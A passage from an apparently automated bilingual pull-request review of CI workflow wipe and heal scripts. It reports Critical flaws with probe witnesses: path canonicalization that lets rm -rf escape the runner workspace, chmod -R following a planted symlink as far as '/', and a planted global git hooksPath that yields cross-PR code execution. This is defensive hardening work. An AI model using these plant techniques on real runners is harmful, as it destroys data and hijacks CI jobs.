  • .github/scripts/ci-runner-routing.test.mjs:361 — [probe] assertSecretFree misses the github.token alias of the job token
  • .github/scripts/ci-runner-routing.test.mjs:1120 — [probe] env-override scan omits RUNNER_WORKSPACE, the wipe's containment root

Convergence: round 10 posted 7 inline comment(s), 4 of them reported for the first time; the previous round posted 8 (7 new). Findings keep coming back to the same files: .github/workflows/web-shell-visuals.yml (findings in rounds 5, 8, 9; 3 more now); .github/workflows/serve-ab.yml (findings in round 9; 1 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)

Mechanism health: this round did not close cleanly, so it withholds the incremental anchor — and the round it recovered had no anchor this round could use either — none at all, one with no certifier, one certified by an identity other than the one this round runs under, or one this round's fetch refused or resolved to the head — so the next review re-reads the whole diff unless recovery grafts an earlier own anchor that the round running it can use onto the complete work list this round leaves behind, and keeps doing so until a round's marker carries an anchor again or a graft lands that the round running it can use. (Stated, not acted on — this changes nothing about what the round posts.)

中文说明

仅完成部分审查,审查缺口已披露。

⚠️ 第 10 轮,且自本审查首次测量以来 diff 已增长 4.1 倍(源码 diff 行数 184 → 747)。下方的发现都锚定在当前这版补丁上,因此它们只能指出这个方案在哪里漏了,而无法说明换一个方案就能一次性消除全部问题。在动手修复之前,应由人来判断这次改动的整体形态是否仍然正确。仅供参考:本段不影响判定结论,其中也没有任何阻断项。

本轮确认的 6 条建议级发现已在 PR 上报告过,不再重复发布(列表见上方英文部分)。

未决,请确认:共 1 条(原文未翻译,列表见上方英文部分)。

未审查:reverse audit — stopped at the round cap of 5 without converging (rounds 1-5 each reported findings; the pool-hygiene surface kept producing new entrances)。

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/serve-ab.yml: actionlint embedded-shell source mapping is not yet supported — not linted; the executable-script lint — .github/workflows/web-shell-visuals.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

4 条 fails-closed 且 new-surface 的 Critical 在已解析的 critical 发布下限之外被起草为行内评论;CLI 已将其移入下方延后清单(下限强制执行)。

收敛姿态下延后(第 10 轮,非阻断)——已记录,本轮不要求修改;其中 4 条 Critical 按其失败方向与对照基线延后——fails-closed 且 new-surface:未认证任何错误结果,且 merge base 既无该功能面也无该缺陷——作为后续工作记录在 findings 工件中:共 8 条(原文未翻译,列表见上方英文部分)。

收敛情况:第 10 轮发布了 7 条行内评论,其中 4 条是首次提出;上一轮发布了 8 条(其中 7 条首次提出)。发现反复回到同一批文件:.github/workflows/web-shell-visuals.yml(第 5、8、9 轮已出过发现,本轮又有 3 条);.github/workflows/serve-ab.yml(第 9 轮已出过发现,本轮又有 1 条)。一个不断再生兄弟发现的簇,通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因,或把独立的簇拆成单独的 PR,通常比逐条修复更快结束循环。(仅为观察——本轮评审未因此扣留任何内容。)

机制健康:本轮未能干净收尾,因而扣留了增量锚点,而它恢复到的那一轮也没有留下本轮可用的锚点——要么完全没有、要么没有认证者、要么由本轮运行身份之外的身份认证、要么被本轮的获取拒绝或解析为头提交——因此下一次评审将重读整个 diff,除非恢复流程把本轮能使用的更早自有锚点嫁接到本轮留下的完整工作清单上;并会一直如此,直到某一轮的标记重新带上锚点,或落地的嫁接能被运行该轮的评审使用。(仅陈述,不据此行动——这不改变本轮发布的任何内容。)

— qwen3.8-max via Qwen Code /review (v0.22.2)

# because it bounds what the heal may touch: canonical, slash-free
# and non-degenerate. An empty $RUNNER_WORKSPACE would turn every
# containment pattern below into the match-all "/*".
RWS="$(realpath -m -- "$RWS" 2>/dev/null)" || { echo "::error::refusing to wipe: realpath unavailable, cannot canonicalize ${RUNNER_WORKSPACE}"; exit 1; }

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R9-1: [certifies-falsely] [regression] Re-check of round-9 blocker R9-1: still stands. The restructure moved RWS canonicalization here (realpath -m + trailing-slash strip), but the degenerate-root refusal [ -z "$RWS" ] (serve-ab.yml:114; byte-identical copy web-shell-visuals.yml:131) still checks only the RAW path — exactly one occurrence per file, pre-canonicalization only. A RUNNER_WORKSPACE that collapses to / only AFTER canonicalization (/home/.. — non-empty, absolute, [ -d ] true, ancestors not symlinks, so it passes every raw guard) reaches every containment pattern as an empty string: "$RWS"/* degenerates to the match-all /* in the intermediate heal, the workspace-heal parent check, and the final wipe allowlist, and a mangled GITHUB_WORKSPACE outside the runner workspace is wiped by find … -exec rm -rf with exit 0 — deletion beyond the containment this step exists to enforce. The merge base ordered realpath → strip → -z and refused this input; this diff's reordering introduced the regression. The sibling spelling /./ reaches the same collapse (verified by execution).

Witness:

PR-degenerate (RUNNER_WORKSPACE=/home/..): exit=0 canary=WIPED output=[]
PR-sane: exit=1 canary=alive output=[::error::refusing to wipe workspace outside the runner workspace: ...]
BASE-degenerate (merge-base ordering): exit=1 canary=alive output=[::error::refusing to wipe: runner workspace resolved to /]

Re-add the refusal immediately after the second strip, in both copies:

if [ -z "$RWS" ]; then echo "::error::refusing to wipe: runner workspace resolved to /"; exit 1; fi

A blanket raw-.. refusal would be wrong — the suite pins that a ..-spelled RWS resolving to a real parent still wipes ('canonicalizes a ..-spelled runner workspace instead of refusing it', scripts/tests/serve-ab-workflow.test.js:575). Fix witness: an exec test beside the existing 'refuses a runner workspace that resolves to /' using a value that only collapses post-canonicalization (/home/.. or /./), asserting non-zero exit and no rm outside the runner workspace — removing the restored check must turn it red.

中文说明

R9-1 复审:仍然存在。重构把 RWS 规范化移到这里(realpath -m + 去尾斜杠),但退化根拒绝 [ -z "$RWS" ](serve-ab.yml:114;web-shell-visuals.yml:131 为逐字节相同的副本)仍然只检查原始路径——每个文件恰好一处,且只在规范化之前。一个仅在规范化之后才塌缩为 /RUNNER_WORKSPACE(/home/..——非空、绝对路径、[ -d ] 为真、祖先无符号链接,因此通过所有原始守卫)会以空串进入每个包含性模式:"$RWS"/* 在中间疗愈、工作区疗愈父检查与最终擦除 allowlist 中退化为全匹配 /*,被污染的 GITHUB_WORKSPACE(runner 工作区之外)会被 find … -exec rm -rf 以退出码 0 删除——越出了本步骤存在所要强制的包含性。合并基上的顺序为 realpath → 去斜杠 → -z,会拒绝该输入;本 diff 的重排引入了该回归。兄弟拼写 /./ 同样可达该塌缩(已执行验证)。

修复:在两处副本的去斜杠之后立即补回拒绝(见上方代码块)。全面的原始 .. 拒绝是错的——套件钉扎了能解析到真实父目录的 .. 拼写 RWS 仍要擦除('canonicalizes a ..-spelled runner workspace instead of refusing it',scripts/tests/serve-ab-workflow.test.js:575)。修复见证:在现有 'refuses a runner workspace that resolves to /' 旁新增仅在规范化后才塌缩的输入(/home/.././)的执行测试,断言非零退出且无工作区外的删除;移除补回的检查必须使其变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

if [ -L "$HEAL_PREFIX" ]; then
heal_target="$(readlink -- "$HEAL_PREFIX" 2>/dev/null || printf '%s' '<unreadable>')"
heal_target="$(printf '%s' "$heal_target" | tr -d '\r\n' | cut -c1-200)"
echo "::warning::healing workspace path ${HEAL_PREFIX}: it was a symlink"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R9-2: Re-check of round-9 blocker R9-2: still stands. This PR changes serve-ab.yml's wipe to HEAL a symlinked intermediate component, but the untouched consumer scripts/tests/serve-ab-workflow.test.js still pins the old REFUSAL semantics — two tests fail deterministically at HEAD, and this PR's own CI is red on them: refuses an allowlist-escaping path reached through an intermediate symlink (expects 'outside the runner workspace') and refuses to heal through an intermediate symlink, before touching anything (expects 'refusing to heal workspace outside the runner workspace'). The lane is wired into CI: test:citest:scripts → ci.yml Linux test job (required check; win32-only exclusion), so the PR ships with a red lane.

Witness:

npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/serve-ab-workflow.test.js
→ Tests 2 failed | 21 passed (23), heal annotation firing where refusal is asserted

Update the two tests to pin the new heal semantics (status 0 or a heal-specific failure message, the healing workspace path annotation, the link unlinked and recreated inside the runner workspace, target untouched) — mirroring the new heals a symlinked intermediate component instead of refusing on it forever witness in ci-runner-routing.test.mjs; this PR's own new tests pin the heal for the byte-identical port, so the suite update is the consistent direction. Fix witness: the two rewritten tests themselves — they must go red if the intermediate heal's containment/unlink behavior regresses; today they are red against the shipped wipe. Fix premise: the heal's counterpart is pinned in the opposite direction by this PR's own exec witness 'heals a symlinked intermediate component instead of refusing on it forever' (.github/scripts/ci-runner-routing.test.mjs).

中文说明

R9-2 复审:仍然存在。本 PR 把 serve-ab.yml 的 wipe 从"拒绝"改为"疗愈"符号链接中间组件,但未改动的消费者 scripts/tests/serve-ab-workflow.test.js 仍钉扎旧的拒绝语义——两个测试在 HEAD 上确定性失败,本 PR 自己的 CI 也因此变红:refuses an allowlist-escaping path reached through an intermediate symlink(期望 'outside the runner workspace')与 refuses to heal through an intermediate symlink, before touching anything(期望 'refusing to heal workspace outside the runner workspace')。该套件经 test:citest:scripts 接入 ci.yml 的 Linux 测试作业(必需检查;仅 win32 排除),因此 PR 带着红车道交付。

修复:把这两个测试更新为钉扎新的疗愈语义(退出码 0 或疗愈专属失败消息、healing workspace path 注解、链接被解除并在 runner 工作区内重建、目标不受影响)——与 ci-runner-routing.test.mjs 中新的 heals a symlinked intermediate component instead of refusing on it forever 见证保持一致;本 PR 的新测试已为逐字节相同的移植钉扎了疗愈语义,套件更新是唯一自洽的方向。修复见证:即这两个改写后的测试本身——若中间疗愈的包含性/解除链接行为回归则必须变红;当前它们对已交付的 wipe 即为红色。修复前提:本 PR 自身的执行见证已在相反方向钉扎了该疗愈行为。

— qwen3.8-max via Qwen Code /review (v0.22.2)

# here) or a symlink (every later job's cache writes land at the
# link's target). Heal the pathological spellings before use —
# the cache is an optimization, not a gate, so fail open.
if [ -L "${cache_dir}" ] || { [ -e "${cache_dir}" ] && [ ! -d "${cache_dir}" ]; }; then

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R8-2: [certifies-falsely] [new-surface] Re-check of round-9 blocker R8-2: still stands. The npm-cache heal is byte-for-byte the shape R8-2 adjudicated — leaf-only condition, unchecked rm -f under the wrapper's bash -eo pipefail, no permission heal, no write probe gating the NPM_CONFIG_CACHE export — and all four probe-verified defeats remain open: (1) unwritable parent (chmod 555) + file leaf: rm -f dies EACCES and aborts the step — a permanent wedge for a step whose comment promises fail-open; (2) a symlink planted on the INTERMEDIATE component (~/.cache/qwen-code) bypasses the leaf-only condition and NPM_CONFIG_CACHE is exported through the attacker tree — silent write-through of every later job's cache; (3) a DIRECTORY leaf with mode 000 passes the condition, gets exported, and every later npm ci dies EACCES; (4) a hostile-permission _cacache one level below a healthy leaf passes identically.

Witness:

shape1 (555 parent + file leaf): job1 exit=1 exported=no leaf=file last=[rm: cannot remove '.../npm': Permission denied]; job2 identical
shape2 (symlink on intermediate): exit=0 exported=YES attackerTree=[npm] NPM_CONFIG_CACHE=.../qwen-code/npm
shape3 (mode-000 dir leaf): exit=0 exported=YES leafMode=0 npmWriteProbe=EACCES
shape4 (hostile _cacache below healthy leaf): exit=0 exported=YES cacacheSymlink=YES indexMode=0

Stop enumerating plant shapes — gate the export on actual usability: heal permissions first (chmod -R u+rwX "${cache_dir}" 2>/dev/null || true), then require a real write probe inside the tree before appending NPM_CONFIG_CACHE; on probe failure warn and degrade to the default cache (the step's own 'optimization, not a gate' taxonomy). Fix witness: extend the heal witness arms with the four plants above, asserting step exit 0 and no NPM_CONFIG_CACHE export onto an unusable cache; removing the write-probe/chmod guard turns each arm red.

中文说明

R8-2 复审:仍然存在。npm 缓存疗愈与 R8-2 裁定的形态逐字节相同——仅检查叶子、在包装器 bash -eo pipefail 下未检查的 rm -f、无权限疗愈、导出 NPM_CONFIG_CACHE 前无写探测——四种经探针验证的击败方式全部仍然开放:(1) 不可写父目录(chmod 555)+ 文件叶子:rm -f 以 EACCES 死去并中止步骤——对一个注释承诺失败即开放的步骤是永久卡死;(2) 植入在中间组件(~/.cache/qwen-code)上的符号链接绕过仅叶子条件,NPM_CONFIG_CACHE 经攻击者树导出——之后每个作业的缓存写入被静默直通;(3) 模式 000 的目录叶子通过条件并被导出,之后每个 npm ci 以 EACCES 死去;(4) 健康叶子下一层的恶意权限 _cacache 同样通过。

修复:停止枚举植入形态——以实际可用性为导出门槛:先疗愈权限(chmod -R u+rwX "${cache_dir}" 2>/dev/null || true),再要求树内真实写探测通过后才追加 NPM_CONFIG_CACHE;探测失败则告警并降级到默认缓存(即该步骤自述的"优化而非门槛"分类)。修复见证:用上述四种植入扩展疗愈见证分支,断言步骤退出码 0 且不向不可用缓存导出 NPM_CONFIG_CACHE;移除写探测/chmod 守卫必须使每个分支变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

rm -rf "$WS/.git/hooks" "$WS/.git/info/attributes"
rm -rf "$(git --git-dir="$WS/.git" rev-parse --git-path config.worktree 2>/dev/null || echo /nonexistent)" 2>/dev/null || true
git --git-dir="$WS/.git" config --local --unset-all extensions.worktreeConfig 2>/dev/null || true
{ git --git-dir="$WS/.git" config --local --name-only --list 2>/dev/null || true; } | { grep -ivE '^(core\.(repositoryformatversion|bare|filemode|symlinks|ignorecase|precomposeunicode|logallrefupdates|hidedotfiles|protecthfs|protectntfs)|remote\..+\.(url|fetch|pushurl)|branch\.|gc\.|pack\.|fetch\.|index\.|safe\.|submodule\.[^.]+\.(url|active|branch))' || true; } | while IFS= read -r key; do git --git-dir="$WS/.git" config --local --unset-all "$key" 2>/dev/null || true; done

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R10-1: [certifies-falsely] [new-surface] The kept-.git defang scrubs only --local scope; the runner user's GLOBAL/SYSTEM git config (~/.gitconfig, ~/.config/git/config, /etc/gitconfig) is never neutralized, and actions/checkout v6.0.3 COPIES $HOME/.gitconfig into its temp HOME (git-auth-helper.ts:85-125, unconditional on persist-credentials) rather than isolating from it. A prior pool job — same-repo or write-access-fork PR code, or a compromised dependency; the step's own threat model — writes [core] hooksPath = ~/.evil-hooks + an executable hook into ~/.gitconfig (no sudo needed; $HOME persists across jobs on the pool). The next job's wipe exhaustively defangs $WS/.git and never reads $HOME; the hook fires DURING the wipe's own git update-ref -d (reference-transaction hook), and Checkout PR head's git checkout --force fires post-checkout — cross-PR code execution before npm ci, in a job carrying the merge-base step's GITHUB_TOKEN. The merge-base checkout (fresh gitdir, no local config) is hit identically, so discarding the kept .git (R5-1's structural fix) does NOT close this. The exec witnesses are structurally blind: wipeGitEnv gives every fixture a fresh HOME + GIT_CONFIG_NOSYSTEM=1, so the suite certifies a step that is open in production. (Recorded in the round-8 deferred list as 'HOME-scope hygiene'; this round two auditors independently confirmed with live probes and escalate to Critical.)

Witness:

ARM=attack: wipe exit: 0 | hook fired DURING wipe step: YES
global hooksPath still configured after wipe: /tmp/ra-a-zFzR4r/evil-hooks
checkout exit: 0 | post-checkout hook fired: YES
wipe stderr: REFERENCE-TRANSACTION HOOK FIRED (prepared|committed|aborted)
checkout stderr: POST-CHECKOUT HOOK FIRED
ARM=control: hook fired DURING wipe step: no | post-checkout hook fired: no

Neutralize the global/system scope with the env-bypass shape the fleet already uses (repo-hygiene.yml:822-823): publish GIT_CONFIG_GLOBAL=/dev/null and GIT_CONFIG_SYSTEM=/dev/null via $GITHUB_ENV so the wipe and both checkout steps see them (a step-level export does not reach later steps), and/or scrub both global files the way qwen-autofix.yml:673 does. Fix premise: git's global scope spans TWO files — "${HOME}/.gitconfig" and "${XDG_CONFIG_HOME:-${HOME}/.config}/git/config" (qwen-autofix.yml:673); a scrub touching only one leaves the class open, and the sudo-less wipe cannot close /etc/gitconfig at all — only the env-bypass shape does. Fix witness: a kept-.git-style exec witness in ci-runner-routing.test.mjs that plants ${home}/.gitconfig with core.hooksPath (fixture HOME, no GIT_CONFIG_NOSYSTEM), runs runWipeStep then the follow-up checkout, and asserts the hook marker does not exist; removing the new neutralization turns it red.

中文说明

R10-1:保留 .git 的防御只擦洗 --local 作用域;runner 用户的全局/系统级 git 配置(~/.gitconfig~/.config/git/config/etc/gitconfig)从不被中和,而 actions/checkout v6.0.3 会把 $HOME/.gitconfig 复制进它的临时 HOME(git-auth-helper.ts:85-125,与 persist-credentials 无关)而非隔离。先前某个池上作业——同仓库或有写权限 fork 的 PR 代码,或被投毒的依赖;正是该步骤自述的威胁模型——把 [core] hooksPath = ~/.evil-hooks 与可执行钩子写入 ~/.gitconfig(无需 sudo;池上 $HOME 跨作业持久)。下一个作业的 wipe 彻底防御了 $WS/.git 却从不读 $HOME;钩子在 wipe 自己的 git update-ref -d 期间触发(reference-transaction 钩子),Checkout PR headgit checkout --force 触发 post-checkout——在 npm ci 之前实现跨 PR 代码执行,而该作业携带 merge-base 步骤的 GITHUB_TOKEN。merge-base 检出(全新 gitdir、无本地配置)同样中招,因此即便丢弃保留的 .git(R5-1 的结构性修复)也不能关闭此入口。执行见证在结构上对此失明:wipeGitEnv 给每个 fixture 全新 HOME + GIT_CONFIG_NOSYSTEM=1,于是套件为一个在生产中开放的步骤背书。(第 8 轮延后清单曾以 'HOME-scope hygiene' 记录;本轮两名审计员独立以在线探针证实并升级为 Critical。)

修复:采用车队已在使用的环保绕过形态(repo-hygiene.yml:822-823):经 $GITHUB_ENV 发布 GIT_CONFIG_GLOBAL=/dev/nullGIT_CONFIG_SYSTEM=/dev/null,使 wipe 与两个检出步骤都能看到(步骤级 export 到不了后续步骤);和/或按 qwen-autofix.yml:673 的方式擦洗两个全局文件。修复前提:git 的全局作用域横跨两个文件(qwen-autofix.yml:673),只擦一个类仍开放;无 sudo 的 wipe 根本无法关闭 /etc/gitconfig——只有环保绕过形态可以。修复见证:新增在 fixture HOME 植入 core.hooksPath(不带 GIT_CONFIG_NOSYSTEM)、运行 runWipeStep 与后续检出、断言钩子标记不存在的执行见证;移除新增中和措施必须使其变红。

— qwen3.8-max via Qwen Code /review (v0.22.2)

if [ "$RUNNER_UID" != "0" ]; then
chown -R "$RUNNER_UID:$RUNNER_GID" "$GITHUB_WORKSPACE" 2>/dev/null || sudo -n chown -R "$RUNNER_UID:$RUNNER_GID" "$GITHUB_WORKSPACE" || echo "::warning::could not restore workspace ownership; checkout may fail on leftover root-owned files"
fi
chmod -R u+rwX "$GITHUB_WORKSPACE" 2>/dev/null || sudo -n chmod -R u+rwX "$GITHUB_WORKSPACE" || echo "::warning::could not restore workspace write permissions; checkout may fail on leftover read-only files"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R10-2: [certifies-falsely] [new-surface] The new 'Restore workspace ownership' step runs BEFORE the wipe step that heals a symlinked $GITHUB_WORKSPACE, and chmod -R follows a symlinked operand — GNU chmod has no -P; it dereferences symlink operands and recurses into the target (verified: canary modes flipped through the link, rc=0, link intact; chown -R defaults to -P and is unaffected). The plant class this diff explicitly heals — the wipe step exists because a previous job replaces the workspace with a symlink (#9220/#9265) — is silently chmodded recursively, out of bounds, first: permanent silent mode corruption of an attacker-chosen tree outside the workspace (files gain write/exec bits), nothing restores modes, and the later heal removes the link but never touches the target. Escalation: any root-owned file in the target makes the non-sudo pass exit 1, and sudo -n chmod -R repeats the identical recursion AS ROOT — for a plant of $GITHUB_WORKSPACE → / this is sudo chmod -R u+rwX /. The same shape at line 90 in 'Clear stale capture dirs' covers ${RUNNER_TEMP}/web-shell-visuals|before, paths that outlive a run and are never healed by the wipe. (The serve-ab.yml:89 copy pre-exists at merge base and is out of scope; both visuals instances are added by this diff.)

Witness:

BEFORE: 400 outside/canary | 400 outside/sub/deep
chmod -R u+rwX on symlink operand: rc=0
AFTER: 600 outside/canary | 600 outside/sub/deep | symlink operand still intact
chown -R -v: only "ownership of '…/ws-link' retained" (does NOT follow)
userns root leg: root-owned 000 file → 600 through the link, rc=0

Gate the recursion on a real directory and let the wipe step's heal own the planted case (its fresh dir needs no repair):

if [ -d "$GITHUB_WORKSPACE" ] && [ ! -L "$GITHUB_WORKSPACE" ]; then
  chown -R "$RUNNER_UID:$RUNNER_GID" "$GITHUB_WORKSPACE" 2>/dev/null || sudo -n chown -R "$RUNNER_UID:$RUNNER_GID" "$GITHUB_WORKSPACE" || echo "::warning::..."
  chmod -R u+rwX "$GITHUB_WORKSPACE" 2>/dev/null || sudo -n chmod -R u+rwX "$GITHUB_WORKSPACE" || echo "::warning::..."
fi

Apply the same [ -d ] && [ ! -L ] guard per path around the chmod at line 90. Fix premise: chown -R defaults to -P and lchowns the link itself (probed), so only the chmod -R line needs the guard; and the step must still heal genuine read-only leftovers under a REAL workspace directory — its stated purpose (web-shell-visuals.yml:98-100). Fix witness: extract this step's script the way scripts/tests/serve-ab-workflow.test.js does for the wipe, run it against a fixture where $GITHUB_WORKSPACE is a symlink to an outside dir containing a 0444 file, and assert the outside file's mode is unchanged and the link intact; removing the guard turns it red (mode becomes 0644).

中文说明

R10-2:新增的 'Restore workspace ownership' 步骤运行在疗愈符号链接 $GITHUB_WORKSPACE 的 wipe 步骤之前,而 chmod -R 会跟随符号链接操作数——GNU chmod 没有 -P;它会解引用符号链接操作数并递归进入目标(已验证:链接对侧的 canary 模式被翻转,rc=0,链接完好;chown -R 默认 -P,不受影响)。本 diff 显式疗愈的植入类——wipe 步骤正是因为先前作业会把工作区替换为符号链接而存在(#9220/#9265)——首先被静默地越界递归 chmod:工作区之外攻击者选定的树被永久静默地破坏模式位(文件获得写/执行位),没有任何东西恢复模式,之后的疗愈只删除链接而不触碰目标。升级路径:目标中任一 root 属主文件会使非 sudo 通道退出 1,sudo -n chmod -R 随后以 ROOT 身份重复同样的递归——对 $GITHUB_WORKSPACE → / 的植入即 sudo chmod -R u+rwX /。第 90 行 'Clear stale capture dirs' 中的同形态代码覆盖 ${RUNNER_TEMP}/web-shell-visuals|before——跨作业持久且从不被 wipe 疗愈的路径。(serve-ab.yml:89 的副本在合并基已存在,不在范围内;本文件两处实例均由本 diff 新增。)

修复:把递归限定在真实目录上,把植入情形交给专为它设计的 wipe 疗愈(其新建目录无需修复),见上方代码块;第 90 行的 chmod 同样按路径加 [ -d ] && [ ! -L ] 守卫。修复前提:chown -R 默认 -P 且只作用于链接本身(已探测),因此只有 chmod -R 行需要守卫;同时该步骤必须仍能疗愈真实工作区目录下真正的只读残留——这是它自述的存在目的(web-shell-visuals.yml:98-100)。修复见证:按 scripts/tests/serve-ab-workflow.test.js 对 wipe 的做法提取本步骤脚本,以 $GITHUB_WORKSPACE 为指向外部目录(含 0444 文件)的符号链接的 fixture 运行,断言外部文件模式不变且链接完好;移除守卫必须使其变红(模式变为 0644)。

— qwen3.8-max via Qwen Code /review (v0.22.2)

RWS="$(realpath -m -- "$RWS" 2>/dev/null)" || { echo "::error::refusing to wipe: realpath unavailable, cannot canonicalize ${RUNNER_WORKSPACE}"; exit 1; }
while [ "${RWS%/}" != "$RWS" ]; do RWS="${RWS%/}"; done
case "$RWS" in
..|../*|*/..|*/../*) echo "::error::refusing runner workspace path containing '..': ${RWS}"; exit 1 ;;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R10-3: [certifies-falsely] [new-surface] The raw-path .. refusal exists only inside the root-heal branch; a RUNNER_WORKSPACE containing .. components that is a plain existing directory skips that branch entirely, is canonicalized by realpath -m, and silently re-roots the containment allowlist ABOVE the real runner workspace. This post-realpath .. case arm (and its byte-identical copy in web-shell-visuals.yml:195) is unreachable dead code — realpath output contains no .. — and R9-1's demanded -z re-check does not close this variant. Mangled-env RUNNER_WORKSPACE=/home/runner/_work/../.. (the #9220/#9265 incident class this step's guards are declared to exist for) passes every raw guard — non-empty, absolute, real dir, no symlinked ancestors — realpath yields /home, and the containment "$RWS"/* now admits any GITHUB_WORKSPACE under /home; find … rm -rf wipes a directory outside the runner workspace with exit 0 and no annotation. (A/B: the merge-base serve-ab step shows identical behavior on this fixture, so the serve-ab copy restructures a pre-existing gap; the diff rewrote this exact guard chain and extends the surface to web-shell-visuals.yml, where the whole step is new.)

Witness:

PR (RUNNER_WORKSPACE=<victim>/../..): exit: 0 | stdout: (empty) | victim.txt exists after wipe: false
BASE (merge-base serve-ab step, same fixture): exit: 0 | victim.txt exists after wipe: false
FLIP (raw-'..' refusal patched in memory): exit: 1 | "::error::refusing runner workspace path containing '..'" | victim survives: true

Refuse traversal components on the RAW path before canonicalization — move the heal branch's */..|*/../* case to run on every RWS immediately after the relative-path refusal (the daemon supplies clean absolute paths, so a .. spelling is always mangled input). Fix premise: the suite pins the DESCENT case — 'canonicalizes a ..-spelled runner workspace instead of refusing it' (scripts/tests/serve-ab-workflow.test.js:575, RUNNER_WORKSPACE=join(ws,'..') expecting success) — so a wholesale raw-.. refusal turns a pinned test red; the fix must distinguish climb-above-the-true-parent from descent-to-it (in both cases the canonical RWS is a prefix of WS, so the two are indistinguishable from the env values alone). Fix witness: a fixture with RUNNER_WORKSPACE climbed one level past the true parent asserting non-zero exit and untouched files must go red if the refusal is removed; it must flip or supplement the pinned descent test at line ~575.

中文说明

R10-3:原始路径的 .. 拒绝只存在于根疗愈分支内;一个包含 .. 组件且为普通存在目录的 RUNNER_WORKSPACE 会完全跳过该分支,被 realpath -m 规范化,并把包含性 allowlist 静默地重新扎根到真实 runner 工作区之上。这个 realpath 之后的 .. case 分支(web-shell-visuals.yml:195 为逐字节相同的副本)是不可达的死代码——realpath 输出不含 ..——且 R9-1 所要求的 -z 复查并不能关闭此变体。污染环境输入 RUNNER_WORKSPACE=/home/runner/_work/../..(正是该步骤守卫自述存在理由的 #9220/#9265 事故类)通过所有原始守卫——非空、绝对路径、真实目录、祖先无符号链接——realpath 得到 /home,包含性 "$RWS"/* 于是接纳 /home 之下的任何 GITHUB_WORKSPACE;find … rm -rf 以退出码 0、无任何注解地擦除 runner 工作区之外的目录。(A/B:合并基的 serve-ab 步骤在同一 fixture 上行为相同,故 serve-ab 副本是对既有缺口的重构;本 diff 重写了这条守卫链,并把该表面扩展到整个步骤皆为新增的 web-shell-visuals.yml。)

修复:在规范化之前对原始路径拒绝遍历组件——把疗愈分支的 */..|*/../* case 移到相对路径拒绝之后立即对每个 RWS 执行(daemon 提供干净的绝对路径,.. 拼写必为污染输入)。修复前提:套件钉扎了下降情形——'canonicalizes a ..-spelled runner workspace instead of refusing it'(scripts/tests/serve-ab-workflow.test.js:575,RUNNER_WORKSPACE=join(ws,'..') 期望成功)——因此全面的原始 .. 拒绝会使被钉扎的测试变红;修复必须区分"爬升到真实父目录之上"与"下降到父目录"(两种情形下规范化后的 RWS 都是 WS 的前缀,仅凭环境值无法区分)。修复见证:以爬升一级的 RUNNER_WORKSPACE 的 fixture 断言非零退出且文件未动,移除拒绝必须使其变红;它必须翻转或补充第 575 行附近的下降钉扎测试。

— qwen3.8-max via Qwen Code /review (v0.22.2)

# itself, never following it.
case "$WS" in
"$RWS"/*)
HEAL_REL="${WS#"$RWS"/}"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R10-4: [certifies-falsely] [new-surface] The intermediate-component heal (byte-identical copy serve-ab.yml:192) acts on the RAW $WS before canonicalization and has no .. refusal, so a mangled $GITHUB_WORKSPACE containing .. passes the "$RWS"/* string-prefix match while the heal's rm -f/mkdir resolve OUTSIDE $RUNNER_WORKSPACE — defeating the block's stated invariant ('Judge only paths literally inside the canonical runner workspace'). The diff adds a raw .. refusal for the root heal but gave the new intermediate heal neither that nor a canonical check; the canonicalized parent-containment refusal fires only AFTER the out-of-bounds mutation. Trigger: healthy RWS=/home/runner/work/qwen-code; a prior pool job plants symlink /home/runner/work/pivot → <target>; a mangled-env job (the incident class the step's preamble cites) supplies GITHUB_WORKSPACE=/home/runner/work/qwen-code/../pivot/repo — the raw prefix match passes, the walk resolves pivot outside the workspace, and the step unlinks the outside symlink and mkdirs a real directory in its place, logging it as a successful 'heal'. If the escaped component is legitimate infra rather than an attacker plant, the guard destroys it.

Witness:

::warning::healing workspace path /tmp/…/qwen-code/../pivot: it was a symlink
heal: … pointed at /tmp/…/target-outside
::error::refusing to heal workspace outside the runner workspace: …/pivot/repo (parent: …)
exit: 1 | pivot is symlink now: false | pivot is dir now: true ← out-of-bounds mutation happened BEFORE the refusal
FLIP (refuse '..' at heal entrance): exit: 1 | "refusing to heal workspace path containing '..'" | pivot still symlink (untouched): true

Refuse .. on the RAW path before the walk, mirroring the root heal — after computing HEAL_REL, add:

case "$HEAL_REL" in ..|../*|*/..|*/../*) echo "::error::refusing to heal workspace path containing '..': ${WS}"; exit 1 ;; esac

Fix premise: the heal must keep acting on the RAW path and refuse rather than resolve — per the block's own comment, resolving $WS would resolve through the very plant being judged ('Resolving the parent — never $WS itself … is what makes the unlink containable'). Fix witness: a runWipeStep fixture with ws = <rws>/../evil/repo and a planted symlink at a sibling of rws, asserting the outside symlink survives as a symlink and the step exits non-zero with the .. refusal; removing the new raw-.. refusal returns the out-of-bounds rm+mkdir and turns it red.

中文说明

